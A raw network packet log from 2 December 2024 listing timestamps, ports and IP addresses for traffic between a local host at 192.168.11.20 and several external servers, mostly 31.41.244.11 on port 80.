Dec 2, 2024 11:21:15.837963104 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837977886 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.838061094 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.838107109 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.838107109 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.838185072 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.838196039 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.838284016 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.838344097 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.838355064 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.838398933 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.838444948 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.838500977 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.167994976 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168009996 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168015957 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168025970 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168214083 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168225050 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168235064 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168445110 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.168467045 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168477058 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168487072 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168536901 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168545961 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168698072 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168782949 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.168791056 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.168801069 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169002056 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169014931 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169022083 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169109106 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.169225931 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.169285059 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169342041 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169348955 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169358969 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169418097 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169428110 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169455051 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.169476032 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169553995 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.169625044 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.169680119 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169687033 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169703007 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169723034 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.169881105 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.169914961 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169922113 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.169962883 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170017958 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170082092 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.170116901 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170150995 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.170151949 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.170173883 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170301914 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170309067 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170423985 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.170543909 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170555115 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170561075 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170641899 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170759916 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170766115 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170814037 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170886040 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.170893908 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171013117 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171170950 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171179056 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171257973 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171312094 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171363115 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171418905 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171510935 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171518087 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171586990 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.171586990 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.171633959 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171688080 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171737909 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.171739101 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171737909 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.171884060 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.171933889 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.171933889 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172044039 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172050953 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172061920 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172132969 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172132969 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172261953 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172269106 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172312975 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172394991 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172401905 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172447920 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172506094 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172506094 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172506094 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172512054 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172518969 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172724962 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172724962 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172725916 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.172760010 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172816038 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172822952 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172889948 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.172957897 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.173010111 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173019886 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173072100 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173141003 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173146963 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173259974 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173280954 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.173440933 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.173553944 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173562050 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173571110 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173645020 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173652887 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173713923 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.173713923 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.173764944 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173878908 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.173887968 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173896074 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173928022 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.173944950 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173954964 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.173962116 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174037933 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174037933 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174083948 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174154997 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174273014 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174280882 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174309015 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174331903 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174424887 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174446106 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174453020 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174482107 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174561024 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174597025 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174647093 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174654961 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174715996 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174767017 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174814939 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174823046 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174876928 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.174921989 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.174971104 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.175038099 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175048113 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175055027 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175193071 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.175193071 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.175311089 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175322056 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175328970 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175389051 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175448895 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175503016 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175518990 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.175563097 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175607920 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.175678968 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175687075 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175698996 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.175811052 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175846100 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.175894976 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175901890 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.175971985 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.176023006 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.176033020 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.176063061 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.176070929 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.176183939 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.176183939 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.501636028 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.501805067 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.501852036 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.501868010 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.501936913 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502048016 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502093077 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502100945 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502115965 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502131939 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502156019 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502166986 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502192020 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502228975 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502228975 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502249956 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502266884 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502305984 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502372980 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502422094 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502455950 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502590895 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502614975 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502628088 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502667904 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502749920 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502749920 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502787113 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502798080 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502835989 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502914906 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.502948046 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.502959013 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503040075 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503071070 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503123045 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503242016 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503293991 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503304958 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503349066 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503365993 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503379107 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503458023 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503473043 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503484011 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503515005 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503515005 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503539085 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503670931 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503714085 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503730059 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503740072 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503753901 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:16.503951073 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:16.503951073 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:17.705339909 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:17.705424070 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:17.705781937 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:17.705929041 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:17.705965042 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.216622114 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.217571974 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.217592955 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.218656063 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.218656063 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.218673944 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.218682051 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.218693018 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.218699932 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.583797932 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.583825111 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.583858013 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.583937883 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.583969116 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.584080935 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.584080935 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.584177017 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.584428072 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.584428072 CET	49757	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:21:18.584450960 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.584456921 CET	443	49757	40.126.62.130	192.168.11.20
Dec 2, 2024 11:21:18.709773064 CET	49754	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:18.710059881 CET	49758	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:18.714505911 CET	10343	49756	51.195.138.197	192.168.11.20
Dec 2, 2024 11:21:18.784538984 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:19.031825066 CET	80	49754	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:19.032023907 CET	49754	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:19.032047033 CET	80	49758	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:19.032293081 CET	49758	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:19.032490015 CET	49758	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:19.354528904 CET	80	49758	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:19.360759974 CET	80	49758	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:19.360985041 CET	49758	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:19.363821983 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:19.364120007 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:19.681946039 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:19.682284117 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:19.682421923 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:19.696738958 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:19.697020054 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:19.815613031 CET	443	49699	4.152.133.8	192.168.11.20
Dec 2, 2024 11:21:19.815679073 CET	443	49699	4.152.133.8	192.168.11.20
Dec 2, 2024 11:21:19.815690994 CET	443	49699	4.152.133.8	192.168.11.20
Dec 2, 2024 11:21:19.816000938 CET	49699	443	192.168.11.20	4.152.133.8
Dec 2, 2024 11:21:19.816376925 CET	49699	443	192.168.11.20	4.152.133.8
Dec 2, 2024 11:21:20.000391960 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001167059 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001221895 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001240969 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001331091 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001360893 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.001394987 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.001457930 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001477957 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001563072 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001594067 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.001698971 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.001750946 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001789093 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001789093 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.001813889 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001837015 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001852036 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.001920938 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.002012014 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.002110958 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.002170086 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.002192020 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.002337933 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.026614904 CET	443	49699	4.152.133.8	192.168.11.20
Dec 2, 2024 11:21:20.319259882 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319456100 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.319469929 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319480896 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319490910 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319717884 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319727898 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319729090 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.319854975 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319955111 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.319962025 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.319972038 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320028067 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.320080042 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320092916 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320118904 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.320209980 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320223093 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320233107 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320240021 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320317030 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.320417881 CET	49760	80	192.168.11.20	31.41.244.11
